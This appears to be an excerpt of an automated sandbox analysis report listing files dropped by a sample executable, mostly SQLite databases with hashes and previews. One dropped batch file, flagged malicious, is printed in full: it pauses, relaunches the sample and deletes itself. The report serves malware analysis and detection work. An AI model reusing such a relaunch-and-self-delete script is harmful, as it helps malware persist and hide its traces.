SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jPnJBiBv6i

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jdnI9PE1FN

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jiSwN4qQuQ

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jlaPUNqOCt

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k5k1y4FyV1

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k9ohpzb2uP

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lcADWv0VBk

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lu5Ok6oZAA

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mAgTImnEhO

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mKf8kE0aeG

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mSfaBUN8aH

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mw6TmJQtPx

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nIgi5WjQyq

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nJF5rD9gTy

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nfm1cT8Ej5

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nxDo4pr6ty

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nyGNX9eq1J

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oarrpv8ydy

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\obm75cVi6F

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ozhoDtMKAg

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pSFpDM6NAO

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q5HwWum2Pa

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rUlULrr0a0

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.157736259196692
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wv4PKOZG1wkn23fe2vGh:HTg9uYDEmkfm2vQ
MD5:	549C31B5AFE685920838989FCD69E029
SHA1:	72F4A2B85D25FAC1CE79E3BFFEBF69121FDA9F62
SHA-256:	0D3A0457AB0FFCABFBA46B0832F9D7EFF286F88D786AD2DD674C23A06B6E8104
SHA-512:	3B105323D190FE1E38DC5F42CCF7F80D19D480C00AFAC4333389D657172308963A9BD9FF3BBB04242EC473861182167C27DF54B27AF88C48CEABF10DBDB889F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\Desktop\0wdppTE7Op.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\rYfvxS8JxL.bat"

C:\Users\user\AppData\Local\Temp\rd2JgmMYal

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rhWt2I4u7D

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
